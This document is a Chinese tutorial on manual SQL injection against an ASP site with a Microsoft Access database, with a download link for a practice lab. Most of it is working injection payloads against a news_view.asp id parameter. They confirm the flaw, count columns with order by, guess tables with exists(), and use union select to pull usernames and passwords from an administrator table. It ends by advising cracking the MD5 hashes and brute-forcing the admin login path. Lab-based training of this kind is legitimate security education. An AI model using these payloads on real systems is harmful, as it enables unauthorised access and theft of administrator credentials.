一。ACCESS手工注入(附带环境搭建教程)
1.环境搭建
链接:https://pan.baidu.com/s/1EIqzANoJcA70htoG5m3RMw?pwd=x31a
提取码:x31a
(1)进入百度网盘下载文件
(2)将环境附件压缩下放到www根目录
(3)访问iis服务器绑定的ip地址即可访问到网站靶场
2.手工注入流程
(1)判断注入点
news_view.asp?id=11' //报错
news_view.asp?id=11 and 1=1 //正常
news_view.asp?id=11 and 1=2 //错误
(2)order by判断列数 当order by 7的时候⻚⾯正常 order by 8的时候⻚⾯报错 说明有7个字段
news_view.asp?id=11 order by 7 //⻚⾯正常.
news_view.asp?id=11 order by 8 //⻚⾯报错,说明有7列.
(3).猜表。
news_view.asp?id=11 and exists(select * from 表名) //判断某个表是否存在
news_view.asp?id=11 and exists(select * from admin) //从admin表中查询数据,页面不正常,说明 不存在admin表 、
news_view.asp?id=11 and exists(select * from users) //从users表中查询数据,页面不正常,说明 不存在admin表
news_view.asp?id=11 and exists(select * from administrator) //从administrator表中查询数据,页面正常,说明查到数据了
(4)判断回显位置
news_view.asp?id=11 union select 1,2,3,4,5,6,7 //页面报错,不符合access语法,
select 列 from 表
news_view.asp?id=11 union select 1,2,3,4,5,6,7 from administrator //页面正常
(5)猜字段名 可能的字段名有 username user_name user ,password passwd pwd pass_wd pass_word admin_name admin_username admin_user admin_passwd admin_pwd ..........
news_view.asp?id=14 union select 1,username,3,4,5,6,7 from administrator // 报错,说明没有username列
news_view.asp?id=14 union select 1,user_name,3,4,5,6,7 from administrator //正常,说明存在这⼀列
然后去回显点3查询密码列
news_view.asp?id=14 union select 1,user_name,password,4,5,6,7 from administrator //成功查到密码
(6)密码进⾏md5解密 并去后台登录 后台地址爆破⼀下